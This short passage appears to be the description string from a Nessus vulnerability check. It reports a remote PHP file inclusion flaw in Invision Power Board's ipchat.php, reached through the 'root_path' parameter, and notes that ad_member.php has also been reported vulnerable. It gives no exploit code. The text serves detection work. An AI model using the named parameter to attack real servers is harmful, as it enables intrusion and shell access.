"It is possible to make the remote host include PHP files hosted on a
third-party server using Invision Power Board. The ipchat.php script 
fails to sanitize input passed to the 'root_path' parameter.

An attacker may use this flaw to inject arbitrary code in the remote
host and gain a shell with the privileges of the web server. 

In addition, the ad_member.php script has been reported vulnerable. 
However, Nessus has not checked for that script." );
